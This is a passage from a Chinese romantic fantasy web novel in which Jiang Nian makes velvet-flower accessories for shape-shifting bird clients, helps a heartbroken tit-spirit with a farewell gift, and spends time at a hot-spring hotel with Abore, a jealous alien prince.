但这次他戴上姜念为他制作的假发冠,无比自信,一路过关斩将,最终得凤凰陛下亲自授予凤凰使者的荣誉,并且当着众多鸟长老的面将假发冠摘下,露出他头上的斑秃。
他是下定千万决心才这样做的,神奇的是,自从戴上绒花假发冠,他反而没有以前那么在意自己的斑秃。
即便之前很多鸟都嘲笑他斑秃,嘲笑他丑,但他至少勇于去改变了,也不想一辈子活在别的鸟类评价下。
从今往后,他要真正做自己,做一只自由的小鸟。
当他摘下假发冠后,已经做好迎接嘲笑。
可众多鸟长老们却无一嘲笑,反而纷纷展翅飞舞,鸣叫为他庆贺。
“姐姐姐姐,谢谢你!谢谢你为旺财制作的假发冠!旺财好开心!旺财好开心!”绶带鸟绕屋飞舞一圈直呼感谢,激动得直朝姜念怀里扎。
一下就被阿波若单手薅住,只发出吱吱吱的闷哼声。
姜念朝阿波若使眼色,咬牙急道:“你干嘛?那是客户你态度好点!”
“哼,谁让他飞来飞去搅得人眼都花了。”阿波若极度不屑。
这个借口不假,那个绿茶鸟飞得他烦躁,一想到绿茶鸟喜欢装可爱“姐姐、姐姐”地叫姜念,一有机会就往姜念胸口钻,他心里就更烦躁。
所以从刚才他就一直想法设法赖在姜念卧室,擦桌抹凳,端茶倒水,只为防绶带鸟绿茶操作。
但姜念一个劲儿的对他使眼色,纵有万般不愿他还是松开手,但还不忘敲打一句:
“别到处乱飞,小心我扒光你的毛!”
唬了绶带鸟一跳,朝姜念戚戚然道:“姐姐,阿波若王子好可怕!旺财很害怕!”
姜念赶紧安慰他别怕,又忍不住好奇问:“旺财……是你的名字吗?”
绶带鸟很得意:“是哇,这是我特意给自己取的人类名字,是不是很好听呀姐姐?”
哈哈、哈哈,姜念不好打击他只好笑两声,点头称赞“听着挺招财的——”
没想到一句顶级嘲讽声刺过来:
“旺财不就是土狗的名字,难听死了。”
姜念两眼一黑。
“姐姐姐姐,你瞧瞧阿波若王子欺负我,吱吱吱——”、“难听就是难听!你少在那装可怜我现在就扒光你的毛!”、“姐姐姐姐,救我——”
姜念两眼更黑。
“阿波若——”她捏着发紧的眉心,
“滚出卧室!”
—
一天不滚,浑身发痒。
等送走了绶带鸟,姜念对着被罚站在卧室门外的阿波若进行教育:绶带鸟是我的客户,客户至上懂吗?惹恼了客户以后没有订单了就完蛋了懂吗?
从今天起,你要接受微笑培训:有客户来,你微笑,把茶水端上;客户走了,你也微笑,挥手送别。一句话都别说。
姜念抬手摸了摸阿波若的手臂,解了他的禁动,唇角弯起微笑,示意他照着学。
偏偏他头一扬:我不!
犟得一千头牛都拉不回的死出样。
姜念心中默数到三,深吸一口气,声音轻轻从口中吐露出:“阿、波、若——”
眼神却寒如刀锋。
阿波若阖了一声,极其不情不愿一边唇角弯起。
姜念捂住心口,闭上眼扭头就回房,边走边摇头:
算了你可别笑了。
怎么会有人笑得比阎罗王索命还可怕?
砰的一声关紧房门,连反锁声都比往常响亮。
阿波若:???
—
连续好几个晚上,阿波若翻来覆去睡不着,越想越气:
他怎么可能笑得难看,他在阿波罗星甚至全宇宙都是公认的美男子。明明是姜念偏心,那个绶带鸟做什么她都觉得好,连取个旺财那样难听的名字她都称赞。
可他呢,连笑都被她嫌弃难看。
他不服!不就是微笑吗,这有什么难的?
阿波若唇角弯起,邪魅一笑。
姜念现在很后悔,自从那天想帮阿波若进行微笑培训后,非但没有培训成功,反而像给他下了降头——
成天对着她迷之微笑,唇角抽搐、表情邪魅,知道的明白他在练习微笑,不知道的还以为他在哪儿偷看了霸道总裁狗血短剧戏精上身。
造孽!姜念又捏了捏发紧的眉心没眼看。
“姜小姐,你不舒服吗?”新客户白歆玥关心地问。
姜念忙抬头说自己没事,偏又瞥见斜靠着墙的阿波若,邪魅一笑。
好恨现在不能让他滚出大门外,眼不见为净。
她心中默念淡定淡定,扭头继续
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和白歆玥讨论订制方案。
这个新客户妹妹是一名摄影师,经常帮乔茉拍摄汉服成品照,得乔茉介绍来找姜念想为暗恋的男生订制一套男士古风绒花饰品作为礼物。
白歆玥暗恋的男生是一名优秀的古典舞老师兼汉服爱好推广者,与乔茉的汉服工作室多次合作大家都是很好的朋友,此次国风大赏推广会更要带领舞队献舞。
她对这个订制礼物很是上心,希望能做出最能合对方心意的礼物,但任凭姜念换了好几套花样图册她仍不满意,十分焦虑。
姜念太理解白歆玥的心情,多数女生遇上暗恋的男生会不好意思直说,哪怕想送礼物也会觉得自己送的不好。
想当初她在大学时也追过男神,但男神拒绝了她很快便出国,所以她很懂这种感觉。
但当得知白歆玥暗恋的那个男生没有女朋友,并且白歆玥始终没有向他告白过,姜念一颗八卦之心开始按捺不住,旁敲侧击提醒:男神既然单身,何不尝试尝试表白呢?
他不说,你也不说,哪能抱得男神归啊?
张嘴就来,姜念都佩服自己的随口一编。
念念姐,真的吗?白歆玥眨眨圆溜溜的黑葡萄眼,一张粉雕玉琢的小圆脸清丽得很。
连姜念看了都忍不住伸手去掐一掐她的嘟嘟小脸——多可爱的女孩子呀。
看着都让人喜欢。
正想着,下一秒白歆玥就在她面前化为白影,摇身一变成了只毛茸茸的白毛小鸟。
圆滚滚的身子,活像一只球,周身都是蓬松的绒绒白毛,夹杂着一些褐色羽毛纹样。
一双黑黝黝的豆豆眼,滴溜溜地转。
好!可!爱!
姜念快被萌晕过去了。
白歆玥展开翅膀俯身冲着姜念和阿波若鞠了鞠,扑棱棱飞起来,一下落在沙发上,朝姜念歪着头道:“念念姐,我这个样子没有吓着你吧?”
她有点担心,自己鸟类的真身会惊吓到姜念,毕竟不是每个人都能接受的。
见姜念没说话,她真有点担心了,又唤了声“念念姐”。
“那个——”终于姜念开口了,“我可以揉揉你的脸嘛?”
白歆玥:啊?
看姜念水汪汪的眼睛,满是期待,她点了点头。
立刻一双纤柔的手覆在她周身,轻揉她的羽毛,片刻也停不下来。
松松软软的,带着暖,像冬日里的第一缕阳光落在掌心里。
“好可爱好可爱怎么这么可爱呀——”
姜念直呼,眼泛怜爱泡泡。
“切,不就是个小肥啾,哪里可爱?”不屑的声音传来,是阿波若。
可爱、可爱,有那么可爱吗?一个肥球小鸟,也不知姜念看上她哪里好了?
阿波若心里不平。
可下一秒,姜念更夸张地直呼:哇你的名字是小肥啾吗?太可爱了吧连名字也这么萌呀!
白歆玥点点头。
又惹得姜念愈加一脸怜爱的揉揉……
阿波若的脸越来越黑。
又来?
上次是那个绶带鸟,这次又换了个小肥啾。
他堂堂王子哪里比不上了?
小小肥啾一来就能被揉脸。
荒唐。
他还没被姜念那样揉过脸呢!
18. 讨姜念喜欢?
白歆玥一直感觉背后凉飕飕的。
仿佛寒冬里最冷冽的风,锋刀一般在她身上刺刮。
身为一只北长尾山雀,也就是小肥啾,常年生活在北方寒冷山林中最无惧寒冷,可现在却冷得她浑身羽毛竖起。
今天也不冷呀,比起大雪封山的老家山林,榕宁的天气对她来说可暖和多了:
为了追随暗恋的男神,她心心念念终于化成人形,从寒冷的北方不远千里来到温暖的南方城市榕宁。
榕宁的天气多变,秋冬阴冷潮湿,她其实非常不适应,夏天更是煎熬。
但只因为喜欢的男神在榕宁,再难受她也愿意忍受。
不过她一直不敢和男神表白,哪怕知道男神还没有女朋友。他那么优秀会喜欢什么的女生呢,会喜欢她这样的女生吗?
一想到这,白歆玥心中又开始没自信——如果她真的是个人就好了,一个正常的普通人类女孩。男神喜欢什么的女生她不知道,但肯定不会喜欢一只小鸟吧。
他是人,她是鸟,天差地别。
而且她后来知道,男神喜欢猫猫狗狗,唯独不太喜欢鸟类。
这也是她始终不敢和男神表明心意的最大原因之一。
但方才姜念的话给了她很大的鼓励,如果不去勇敢地尝试告白,怎么知道男神是不是也喜欢她呢?万一,万一呢?
而且当她变回小鸟真身模样后,非但没有吓到姜念,姜念还直呼她很可爱呢忍不住揉她的绒绒羽毛,非常喜欢她。
连第一次见面的念念姐都这么喜欢她,说不定男神见到她真身模样后也会觉得可爱会喜欢呢?
越想越开心,白歆玥欢跃地发出啾啾的鸣叫。
又把姜念萌地心都化了。
等白歆玥回去后,她还有点不舍——天生萌物小肥啾,越想越可爱。
—
接下来好几天,白歆玥都来商订设计方案,虽然方案迟迟难以定下有些焦虑,但两人越来越投机,俨然成为好姐妹。
聊到开心的时候,白歆玥又会变成小肥啾模样一下子飞到姜念肩上,任她揉捏。
不知不觉,又到姜念要直播的时间了。
虽然很不舍,但白歆玥也准备回去了。姜念回房拿东西,顺便让阿波若下楼倒垃圾。
尽管满脸不情愿,阿波若还是手拿垃圾出了门。
白歆玥继续低头用喙子喝茶。
没过几秒那熟悉的刺骨寒意又从背后传遍全身。
她赶紧回头,正对上阿波若那双幽深的眼。
冰锥子般简直要将她刺穿。
惹得白歆玥一阵胆寒止不住发抖,心底还在犯嘀咕:他刚才不是下楼倒垃圾了吗?怎么又闪现回来了?
赶紧朝着他恭敬展翅鞠躬:“阿波若王子殿下好。”
根本不敢抬头看,生怕碎成渣渣。
阿波若睨眼:“小肥啾,你到底施了什么咒术让姜念那么喜欢你?”
白歆玥一头雾水。
冤枉呀,除了费尽千辛万苦能变成人形她哪里还会其他咒术啊?白歆玥浑身冒汗,但也不敢随意答,左想右想几乎想破脑袋也只能想到一个理由,小心翼翼道:
“或许,就是我的模样比较招念念姐喜欢吧。”
话语未落,压迫感十足的阿波若王子就变化成一只萌萌小肥啾。
和她完全一模一样。
惊得白歆玥喙子都要掉了。
天哪,无比高高在上的阿波若王子殿下竟愿意变身成普通小鸟,简直比江河倒流,雨往天上走还不可能。
从小就听鸟族长谈起,鸟族公主若雅之子阿波若王子是何等的尊贵高傲,除却凤凰陛下,像它们北长尾山雀这样的鸟类是没有资格见到他的,根本也不会入他的眼。
若是知道阿波若王子二话不说就变成小肥啾的模样,估计鸟族长来了魂也要吓掉,何其惶恐啊——王子殿下到底什么意思?莫不是为了……念念姐?
登时白歆玥灵光乍现,八卦至极:
“王子殿下,您变成这幅模样是为了讨念念姐喜欢吧?”
一副嗑昏了的表情。
糟糕,被发现了。
阿波若表面竭力佯装淡定,冷冰冰扔下一句:
“话多。”
白歆玥了然于胸地窃笑,立刻闭上喙子,明白。
一模一样吧?阿波若又阖了声,傲然问。
白歆玥疯狂点头,并竖起两羽翅膀点赞。
姜念的卧室门响起开门声,白歆玥很识趣地立刻悄悄从窗户飞走,只留下阿波若在原地。
果然,姜念一出房门就冲着阿波若道:
“歆玥,我给你找了几本绝版的绒花花样,你拿回去再选选有喜欢的告诉我。我穿个鞋,送你下楼去。”
完全将阿波若当做白歆玥了。
为了不露馅,阿波若学白歆玥的嗓音夹起嗓子,说茶好喝要留下来再喝点,不着急回家。
也好,还可以再多聊几句。姜念点点头,那等我洗完澡再送你吧,你先喝茶吃点点心。
转身回房拿上衣服和浴巾,进了浴室。
因为要直播到深夜,姜念一般都会先洗完澡,再换上当晚直播穿的汉服,下播完就卸妆洗漱睡觉。
这点阿波若是知道的。
只是没想到姜念在去洗澡前还专门跑来揉了一下他的脑袋,揉得他心驰荡漾分不清南北,竟扑扇着翅膀飞起来直接跟在她身后一起进了浴室。
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等姜念开始脱上衣,他才被发现跟了进来。
虽然有点别扭,但姜念转念一想白歆玥是个女孩也没太在意,边继续脱衣服边继续和“她”聊天。
之前才刚刚聊到“她”第一次联系男神帮他拍摄的事,聊得正起劲,还有一堆等着聊呢。
姜念打开淋浴头。
水滑过她滑若凝脂的玉雪脊背。
水汽氤氲,热气腾腾的雾气弥漫整间浴室。
阿波若早已闭上眼转过身去。
害怕鼻血流了满地。
浑身燥热,感觉自己已经熟透了。
因为转身得早他确实没看见什么,也竭力强迫自己不要去看,但仿佛眼睛不是长在自己身上的仍忍不住睁开:更要命的是面前就是镜子,他正站在洗漱台前。
雾气一点点蔓延上镜面,朦胧中却愈加显出她纤柔的酮体轻曼、妖娆。
勾走了他三魂六魄。
梆的一声倒头就摔进洗漱池。
哪怕就是现在摔死了,他也认了。
可一摔反而将脑子摔清醒了些,他强撑最后一点意志从浴室窗户留的缝儿硬挤飞了出去。
从外面绕了一圈飞回客厅,赶紧变回人身,抹干净喷涌而出的鼻血,装作刚从外面扔垃圾回来。
很快姜念就从浴室里穿戴齐急匆匆出来,似乎在找什么。
阿波若猛地一指窗户,胡诌白歆玥已经飞回家了,眼睛根本一丝儿都不敢看姜念。
心中慌如战鼓擂。
不会被她发现吧?
所幸姜念赶着要直播没时间多想,但还是有点不放心便拿起手机发讯息给白歆玥问她是否安全到家,有没有不舒服。
发完讯息,就赶着上妆去直播了。
下播后,她从卧室里径直出来,眼神犀利:
“不对呀,你怎么知道我当时在找歆玥?还看见她从客厅的窗户飞走呢?”
越想越不对,她当时什么也没说他怎么知道她要找歆玥?而且浴室门她锁得好好的,歆玥应当是从浴室的窗户留的缝隙飞走的,阿波若怎么会看见她从客厅飞走呢?
瞬间阿波若的心都冒到了嗓子眼。
完蛋。
露馅了?
她一步步逼近,极具压迫感。
阿波若鼻尖一热,下意识去抹,又流鼻血了。
“难道你……”
姜念眼神变得无比复杂,一种说不上道不明的怀疑感蹭地升起。
就在这时,手机在她手中如惊雷般响起,是白歆玥发来的讯息。
说她到家了。
可紧接着下面还有一句:
【念念姐我失恋了好难过好想哭。男神刚刚已经有女朋友了。】
19. 男神岚枫
再见到白歆玥的时候,她那双眼红肿得和桃一样,没说两句话又难过得忍不住呜咽起来。
任谁看了都心疼。姜念抱住她柔声安慰,想哭就大声哭出来吧。失恋的滋味不好受,如果憋在心里只会更痛苦,不如彻底释放出来。
等白歆玥情绪稍微稳定了些,姜念给她端了一杯花茶。
“念念姐,还好有你在。”白歆玥手捧着热茶,小巧的鼻头红红的,方才大哭了一场感觉好多了。
这几天她一个人在家窝在被窝里,觉也不想睡饭也不想吃,每日每夜地哭,可连个倾诉的人都没有。
当得知男神已经有了女朋友,她仿佛当头一棒脑袋空白,紧接着心剧烈地疼疼得无法呼吸,简直碎掉了一样。
朋友给她发来的照片上,男神和女友拥抱在一起,两人穿着情侣外套,俊男美女十分登对。
男神的女友白昕玥也认识,是另一个舞团的首席女舞者,身材高挑气质非凡,当时两大舞团的成员都明里暗里磕他们的CP:有人说两人私下早就在一起了,只是没有公开;也有人说其实女方一直在追男方,也又说是男方一直暗恋女方。
但无论传言是什么,现在直接连照片都拍到了。
那张照片上,男神和女友面对面抱着,即便照片上只是他的背影,也依旧风姿不减玉树挺拔,而他女友紧紧抱住他,十分幸福的模样。
不管怎么看,两人都是天造地设的一对。
白歆玥的心彻底已碎。
再不做任何一丝一毫的念想。
听到这,姜念又暖心揽住白歆玥,柔声问:那个绒花礼物的设计,你还想继续下去吗?
原本白歆玥订做绒花饰品,是想送给男神并表明自己心意的。但现在这个情况,这个礼物似乎也没有送的可能了。
白歆玥迟疑了许久。最后还是郑重地点点头:
“念念姐,我还是想继续下去。将这个礼物送给他,当做普通朋友间的祝福,祝愿他和女友甜甜蜜蜜,幸福快乐。”
也是一个代表离别的小礼物,之后她也要回北方山林老家,从此和男神一南一北,估计不会再见了。
对男神的爱恋,她会就此彻底深埋在心底。
但心还是好痛,好痛。白歆玥眼泛泪光,笑起来:“念念姐,以前我对绒花礼物的设计一直在纠结、拿不定主意。但现在我好像突然有了一些新的想法。”
姜念轻拍拍她的手,也笑起来:
好呀,那我们一起努力,将这份充满祝福的礼物完成。
—
看到成品的那一天,白歆玥感动得直接落了泪。
太精美了,不单单是一件饰品,简直是艺术品:不仅将她的想法全部展现了出来,甚至锦上添花,每一处配色、造型、细线的精细度都堪称完美。
她无比激动抱住姜念:“念念姐,你真的是天才,手太巧了!”
“这里面也有你倾注的想法和爱呀,才会最终呈现出这么好的效果。”姜念边说边将饰品放入提前准备好的礼品盒,细致打包好。
再过一个星期,国风汉服大典开幕式就要举行。
提前一天所有参加典礼的嘉宾入住山岚温泉酒店。坐车、到达酒店,办理入住。
这几年躲在小出租屋里,姜念也好久没有出这么远的门了。山里空气清新,酒店新中式装修典雅舒适,再加上拥有全榕宁最顶级的温泉,让人身心一下子放松下来。
泡完温泉,浑身惬意,身上的乏累一扫而空。正准备去吃下午茶,乔茉的电话视频就打了过来。
“念念姐,这家温泉不错吧?住的房间还习惯吗?”
温泉酒店的票是乔茉送的,她还在医院调养不能参加这次典礼开幕式,就只能通过视频电话和姜念联系。
视频里乔茉气色不错,看起来人还长胖了一点,也活泼了许多。见姜念一个人要去吃下午茶,还打趣问姐夫怎么不陪着?
惹得姜念哭笑不得,又纠正乔茉“他不是姐夫。”但乔茉在那头只是一味八卦笑,后来又得知阿波若没有陪姜念一起来住温泉酒店,惊诧直问原因。
她磕的cp可不能BE呀,什么情况大好的两人增进感情的机会不好好把握,那个哥是不是不行?
快急死人了。
姜念不好直说原因,只能谎称阿波若有事没空来,好不容易将这件事糊弄过去。
住酒店需要身份证验证,阿波若一个外星人哪来的身份证,根本住不了酒店。而且,人家也不想来呢。
出门前,阿波若大言不惭他一个人在家正乐得清闲,才不稀罕去什么温泉酒店。
再好的温泉,也比不上他在阿波星寝殿的最小的一汪泉。
成天阿波星这好、阿波星那好,姜念听得耳朵都要起茧了,也不知道他是在吹牛还是真如他口中说的那么好。
管他呢。她一个人在这也悠闲自得很,庆幸阿波若没有跟来,眼不见为净,终于可以不用看那一张狂拽不羁的脸。
等来到了自助餐厅,远远就瞧见白歆玥热情朝她招手,举着相机朝她跑过来。
“念念姐,你想吃什么我帮你拿,我们坐一桌。”她挽起姜念胳膊。
两人边聊边去取了饮料吃食,还没坐定下来,白歆玥突然停在原地,望向远处一个地方。
顺着那个方向,姜念也望过去,看见一个极为突出的男性身影:
挺拔玉立,如山巅之上高悬的冷月,面如冠玉,谦谦君子。
一身白色古风长装,远远都能感受到那极致的绝尘和寂冷。
这肯定就是白歆玥的男神——岚枫老师。果然是美男子,气质出尘绝俗,清如美玉,连姜念都忍不住多看两眼。
而很快那个岚枫身边就来了以为身形极为高挑、面容娇艳的女生,一看就也是舞者,应该是他女友。
姜念赶忙扭头去瞧白歆玥,见她眸光低垂,唇角佯装笑了笑,“我们走吧。”
声音很轻,却暗暗藏着数不尽的苦涩。
姜念一只手揽住她的肩,点点头。
没走两步,又来了个清秀的小哥捧着相机来找白歆玥,是她的摄影师同事小苏。小苏为人活络自来熟,三人
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便坐定在一桌吃下午茶。
聊天中,小苏总是细心为白歆玥添茶、夹点心,一切尽收姜念眼底。她特意起身去取果汁,想留给那二人多一点独处时间。
等取了果汁刚转身,就见一个栗发女生挡在面前。
她眼神蔑然,阴阳怪气地高声:“你就是姜念吧。乔茉减肥是不是减伤脑子了,竟然找一个当年卖毒绒花的人来做团队的饰品造型!真是活腻了。”
“绒花这种土啦吧唧廉价的东西哪里上得了台面,我在团队做造型这么多年从来都看不上眼!”
言语间尽显轻蔑且狠毒,引得众多人围观议论纷纷。
“她就是姜念啊,当年毒绒花事件可闹得沸沸扬扬”、“听说她可害了很多人,现在又出来了?”、“毒绒花?长得这么美竟然下毒呀”、“也太不要脸害了人现在还敢抛头露面”……
各种职责和揣测的声音不断如洪水般向姜念袭来。
简直要将她吞没、快要呼吸不了。
好在白歆玥穿过人群赶来她身边帮打抱不平,给她不少安慰。
她暗暗咬紧牙,抬眸朝那个女生道:“这位小姐你要再胡说八道,我就要报警了。”
言辞冷静,但却决绝,一下将对方震慑住。那个女生有些心虚,但见人越来越多所幸拉下脸来,想继续大声嚷嚷。
势必要让姜念在大庭广众下难堪。
可那个女生刚一张口,却发现什么声音都发不出,一阵阵发紧急得她直掐喉咙,忙得像个无头苍蝇乱撞。
滋溜一下她双腿莫名发软,瘫在地上怎么也起不来,吓得周围人以为她犯了病连连后退。就是有人来扶她也似乎像黏在地上一样,别提多狼狈。
“走吧。”姜念冷冷道,头也不回。
“她活该,多行不义必自毙!”白歆玥憋着一肚子气,直言不讳。
弗一转身,却埋头冲进一个带着冷松气息的怀中。
岚枫清风般的声音自她头顶传来。
“歆玥,没事吧?”
白歆玥赶紧退后一步,根本不敢抬眼瞧,只结结巴巴说着“我没、没事。岚枫老师”。一颗心快要从胸膛冲出,慌忙飞了似的逃走。
只留下,岚枫一个人在原地。
—
晚上,姜念躺在房间内的独立温泉池中,透过透明的屋顶,仰望漫天星辰。
“出来吧。”她突然开口。
话音刚落,阿波若健硕高大的身姿闪现在她眼前,仿佛天神降临。
傲气不可一世。
“不是说一个人在家乐得逍遥怎么现在在这?一个人在家害怕呀?”
姜念忍不住揶揄。
“谁害怕了?我是想我不在,你晚上万一又被噩梦灵盯上鬼哭狼嚎的。”阿波若佯装一副漫不经心模样。
可眼睛却偷偷忍不住直瞟姜念。
“下午那个女生说不了话也爬不起来,是你干的吧?”姜念问。
“那个人敢骂你。”
夜幕下,阿波若那双碎金琥珀瞳愈加深邃。
“她找死。”
20. 泡温泉
姜念目不转睛盯着阿波若。
倒把阿波若盯得满脸一阵阵发热,不自然地眨巴眨巴眼,瞥过眼去。
姜念低头一笑,“谢谢。”
为她出了一口恶气,他的好意她明白的。
气也出了,时间也不早了,她让阿波若也回家去休息吧。
“今晚我就睡这。”
阿波若大言不惭,反手一指房内的大床。
姜念:!?
不等她开口,又听见阿波若雷霆发言:既然有温泉,我也就勉强泡泡吧。
姜念:你!给我停下!
倒反天罡,不仅今晚要睡着这还要睡大床,那她睡在哪?还是说……他,是要和她一起睡?
无数黄色泡泡在脑中一簇簇弥漫起来,姜念赶紧闭眼晃晃脑袋,试图摇散。
等再睁开眼时,却见阿波若单膝蹲在池边,一只遒劲的手伸在温泉水中,轻轻搅弄。
他抬眼,灼灼目光正落在姜念身上。
姜念下意识赶紧往水下蹲去,还好这次带的泳衣比较保守。越想越气抬手拂起一弧水,却不偏不倚正泼在阿波若的左脸上。
温热的水、混合淡淡硫磺味,还有一丝她身上的香气,阿波若浓长的睫毛挂满水珠,一滴滴沿着他锋利的下颌落去。
一点都没有生气,反而他嘴角忍不住弯了弯。
若是换作以前,谁人敢在他面前这样放肆?可现在,是她,姜念。
他甚至想被她再泼一次。
“你泼我,我也要泼你。”他唇角一扯,恣意非常。
嘴上虽然这么说,却只是轻轻拂水过去。
一手拂水,一手开始脱上衣。
急得姜念赶紧呵止:“你把衣服穿上,不许泡温泉!”
可阿波若早已将上衣脱去,那令人血脉喷张的完美身材晃得她眼前天南海北不知西东,脑袋迷迷糊糊的。
而自己的眼睛仿佛被黏住一样,不会眨了。
只听见阿波若的声音传来:
“为什么不能泡?我偏要。”
脱完上衣,就要开始脱裤子了。
姜念手朝外一指,完全顾不得其他脱口而出:“你身上脏兮兮的,去洗完澡才能来泡!”
说完瞬间后悔了。
可阿波若仰起头长长哦了一声,立刻起身大步流星朝浴室走去。
姜念双手捂脸,她明明不想让阿波若一起泡温泉的,怎么话到嘴边就拐去天边了?
肯定是温泉太热了,热得她无法思考。
浴室传来隐约的哗哗水声,这感觉越来越怪:好像小情侣来度假,她先泡上了温泉,男友还在洗澡;不对,浴室里的他还不能被别人发现,偷偷摸摸,更像是…小情侣玩假装偷情play。
不对不对,你到底在想什么啊?姜念握拳拼命擂自己脑袋。
手机语音通话响起来,唬了她一跳。
也让她清醒了许多。
是白歆玥,她还没睡想找姜念聊聊天。明天就要送礼物给学长了,说实话她心里还是有点紧张。
姜念安慰白歆玥,两人聊了很多,仿佛有说不完的话。白歆玥想直接来房间找她好好聊。
好呀,你过来我们一起泡温泉慢慢聊。姜念聊得正上头,一时间完全忘记浴室里还有那个人。
好,我现在就过来。白歆玥满口答应。
“不好,我要和姜念一起泡。”一道低沉的男声自姜念耳边响起。
惊得她赶紧捂住手机忙回头,差点吻上阿波若直挺的鼻。
他什么时候过来的,悄无声息不说,还俯身挨得这么近。
近得连他身上沐浴后余留的沐浴露泡泡清爽气味都能闻到,更不提那宽硕的胸膛上挂着滴滴水珠,而下身只围着半截白色浴巾。
一颗心怦怦乱跳,姜念感觉眼睛又眨不动了。
她忙低头去看手机,却听见那端白歆玥“喝喝喝”地直笑:
“念念姐你们忙,你们忙。我不打扰了。”然后以光速结束通话。
并发来一句:【姐,你和王子殿下好好享受二人世界哈。鸳鸯温泉、良辰美景莫辜负。】
后面连着一大串八卦表情包。
二人世界、鸳鸯温泉……这下误会太大了吧。姜念脑袋一阵阵发胀,抓着手机飞快打字回过去:
【不是你想的那样,真的!】
不出一秒白歆玥就回了过来:【念念姐,我懂的。都懂。】
这下彻底解释不清了。
姜念想抱着手机仰头大喊。
而就在这时,阿波若已经扯下身下的浴巾。
惊得她下意识闭眼,不是这对吗,他应该没带泳裤吧?那没有泳裤,他岂不是要……却又忍不住睁开一条缝,哦,他穿了一条白色泳裤。
想起来了,浴室里有酒店准备的一次性男女泳衣。
这是什么破裤子,紧死了。阿波若抱怨。
你给我闭嘴。
姜念捏紧眉心,无奈闭眼呵。
可就算他穿了泳裤,似乎也于事无补。
还是…太壮观了。
—
好在温泉池子足够大,姜念划定中间的楚河汉界让阿波若不许越过,两人一南一北泡温泉。
阿波若一进温泉就阖起眼,闲闲靠着池边,展开颀长的双臂,身形如小山健硕尽显霸气。
还让姜念不要打扰他。
什么狗屁破王子病,搞得谁想打扰他似的,矫情。
热气盈盈袅袅升起,真舒服。
舒服得姜念感觉身上的每一个毛孔都放松了,不禁也仰头阖上眼。
那边阿波若睁开了眼。
深邃的目光穿过氤氲水汽,不偏不倚尽数黏在姜念身上。
水雾朦胧,影影绰绰中,她将全部头发梳起高高束成一个团,露出如玉莹润的光洁额头,巴掌大的小脸因泡温泉水盈盈的,白里透红仿佛一掐能掐出水来。
而小小的唇,比含着清晨露珠的
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红玫瑰还要娇艳。
再往下,是沾着水珠无比白皙的玉颈……
不能再看下去了。
阿波若移开眼神,狠命咬紧牙关。
“啊有流星——”姜念睁开眼,正巧见天空一颗闪亮的流星划过,惊奇抬手去指。然后低头闭眼,双手交握在一起许愿。
“你们地球人可真奇怪,竟对着一颗小流星虔诚许愿。”阿波若不禁嘲讽。
姜念许完愿,睁开眼狠狠白了阿波若一眼,“你懂什么,我们就要对着流星许愿,你管得着吗?”、“这种流星在我阿波罗星上的寝宫里多了去,你要是喜欢,随便挑,我送你就是。”
阿波若不以为意。
这是王子病又犯了吧,还流星随便挑,当菜市场大甩卖买菜呢。姜念忍不住揶揄:“那先谢谢你啊,真大方哦。”
不过话说回来,今天天上那么多星星哪颗是你的母星呀,不用天文望远镜能看见吗?她好奇问。
之前忙了那么久,好不容易闲了几天她在网上查了很多资料,查不到半点关于阿波罗星的资料,都怀疑是不是阿波若在胡诌。
你当然查不到,阿波罗星根本不在银河系,而是在遥远的另外一个星系。阿波若说了一个光年数,姜念虽然不懂天文学,但听出来了距离很远很远。
“你放心,答应帮你找到回母星的方法我不会食言的。等找到了,你就能回去了。”她突然道,很认真。
原来阿波罗星那么遥远。所以阿波若一直提起他的母星,是很想家了吧。
没有人,会不想回家的。
“在阿波罗星上也能像在地球一样看到这么多亮亮的星星吗?”她继续好奇问道,“今天的星星好亮啊,你知道吗只有我小时候在老家才看过呢。”
“在阿波罗星也能看见很多星星。但今天的星星都不够亮。”
阿波若直直看向姜念。
“啊还不够亮?你要求未免也太高了吧。”姜念哼了声不以为意,继续仰头观赏星星,“我觉得很亮呀,今天的星星。”
—
不,不是的。
今天的星星不够亮。
阳台,阿波若在吊床上翻了个身,透过透明屋顶看向天际的繁星,又翻身回来。
看向屋内大床上那个浅浅呼吸着的熟睡身影。
姜念睡在大床上,他睡在阳台上的吊床上,以防她梦魇。
隔着紧闭的阳台门,月光与星光染上洁白纱帘,影影绰绰勾勒出出她绝美的姿容。
他不禁抬手,任由影子印在纱帘上,像是轻轻抚她的脸。
在阿波星,确实能看见很多星星甚至比地球上看得更多。但他看过那么多星星,却没有一颗能与之相比。
那些天上星星都不够亮,一颗都比不上。
阿波若在心里喃喃。
因为,今天我看见了最亮的星星。
是你。
“姜念。”
他轻轻开口,唤她的名字。
21. 那个女孩
竹林筱院。
天已大亮,风穿竹林,簌簌的响。
姜念手捧一杯热拿铁,打了个大大的哈欠,倚靠在廊门上,听着竹声风吹帮望风。
这个竹林小院在温泉酒店的偏隅一角,人少幽静。昨天白歆玥打听到岚枫老师早上会一个人在竹林筱院练舞,便打算在那将礼物送出去。
其实白歆玥心里很没底这个礼物究竟能不能送出去,岚枫老师德艺双馨从来也不收别人送的礼物,喜欢他的人数不胜数,比她优秀的比比皆是,凭什么他会收她的礼物呢?
而且,他现在也有了女友,为了避免误会是不是也不适合当面送。
思来想去,昨晚临睡前白歆玥和姜念商议,最后决定提前将礼物放在竹林筱院,等岚枫老师来练舞就能看见。
一方面不会打扰到他,让人尴尬;另一方面留下礼物和纸条,祝愿他此次国风大典表演圆满成功,望他往后事业成功,生活幸福美满,也更合情合理。
所以一大早,姜念就陪白歆玥来竹林筱院放礼物。本想着放好礼物,就躲在一旁观察情况:如果岚枫老师讲礼物收下了,那一切都好;若是他没有收下,这个礼物……
白歆玥决定,自己就将礼物带回,永远珍藏。
可刚放下礼物没多久,却发现岚枫老师提前来了。慌得白歆玥不知所措都没时间躲开,姜念见状便鼓励歆玥不如当面将礼物送给男神,既是祝福,坦坦荡荡。
自己识趣地早先退回远处廊门口,免得打扰二人。
时间一点点过去。也不知歆玥有没有成功将礼物送出去?姜念一颗好奇心已经蹦到嗓子眼。
不禁转身想探个头去瞧。
“你看什么?”耳边响起一声突如其来的洪亮男音,唬得她差点惊叫出声。
一回头,正对上那一双再熟悉不过的透亮琥珀眼。
姜念赶忙竖起一个指头在自己唇边,“小点声!”又压低嗓音道:“早上你不是已经回去了吗,怎么会在这?”
明明早上出酒店房间前她就让阿波若赶紧回家,而且也确实看着他瞬移消失的。
别闹了快回家!姜念命令阿波若。
可阿波若一副玩世不恭样,“不要。”气得她恨不得大喊一声“滚回家去”直接把他送走。
但现在不是斗嘴的时候,她低声告诫阿波若别乱出声,就静静呆在这。
